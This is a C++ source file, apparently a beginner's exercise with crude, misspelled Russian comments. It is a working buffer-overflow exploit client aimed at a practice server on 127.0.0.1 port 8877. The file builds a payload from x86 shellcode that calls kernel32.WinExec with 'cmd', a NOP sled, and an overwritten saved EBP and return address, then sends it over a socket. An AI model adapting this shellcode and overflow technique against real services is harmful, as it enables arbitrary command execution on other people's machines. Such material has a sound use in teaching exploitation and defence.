//Типа-развивалочка для маленьких: найди дохуя отличий от "Client.cpp" в архиве "overflow.zip" :) 
//Впадлу было коментить, ели еть вапросы пачему чота тама сделана так а ни еначе - задывайти,
//могет быть отвечу:) Пару-тройку падсказок аднака расставил:) Сатреть очинь унимательна:)
#include <winsock2.h>
#include <conio.h>
#pragma comment (lib, "ws2_32.lib")

//смиииирна! равнение на параграф! :) 
char expl_data[109]="\x8B\x44\x24\xFC\x6A\x05\x83\xC0\x0C\x50\xFF\xD5\x63\x6D\x64\x20";
//зачении в сигменти данных и так перивернуты->пишим пряма! нахуя было марочица?
int ebp=0x77E6FD35;		//А это kernel32.WinExec 
int eip=0x00401090;		//кхе кхе
#define explsiz sizeof(expl_data)
char expl_size = explsiz;
bool waitfl;
#define progname "overflow_exploit"
//падаждем паддаждем а то нивидна нихера

int cexit(int reason, char* msg){
	cprintf(msg);
	if (waitfl) {
		cprintf("Press any key to exit.\n");
		getch();
	}
	return reason;
}

int main( int argc, char* argv[] ){
	WSADATA wsaData;
	SOCKET client_socket;
	sockaddr_in server_addr;

	if(strcmp(argv[0],progname)) waitfl=true; else waitfl=false;

	cprintf( "Server.exe TEST EXPLOIT.\nBy [YOU_NICK].\nThis exploit can overflow server cmd_data buffer and execute function fl().\n\n" );
	cprintf( "+Starting Winsock...\n" );
	if (WSAStartup(0x0202, &wsaData )) return cexit(1,"+Error initialise sockets API...\n");

	cprintf( "+Creating client socket...\n" );
	client_socket = socket( AF_INET, SOCK_STREAM, 0 );
	if (client_socket == INVALID_SOCKET) return cexit(2,"+Error while create socket...\n");
	
	server_addr.sin_family = AF_INET;
	server_addr.sin_port   = htons( 8877 );
	server_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );
	
	cprintf( "+Connecting to 127.0.0.1 on port 8877...\n" );
	if (SOCKET_ERROR == connect(client_socket, (LPSOCKADDR)&server_addr, sizeof( server_addr )))
		return cexit(3,"+Error while connection...\n");

	cprintf( "+Sending exploit codes %d bytes\n", explsiz);
	
	memset(&expl_data[16], 0x90, explsiz-9-16);//NOP После отработки fl() упрвление передается на этот код
	memcpy(&expl_data[explsiz-9],&ebp,4);
	memcpy(&expl_data[explsiz-9+4],&eip,4);
	expl_data[explsiz]=0;

	send( client_socket, &expl_size, 1, 0 );
	send( client_socket, expl_data, explsiz, 0 );
	shutdown(client_socket, 2);
	closesocket(client_socket);
	WSACleanup();
	return cexit(0, "OK\n");
}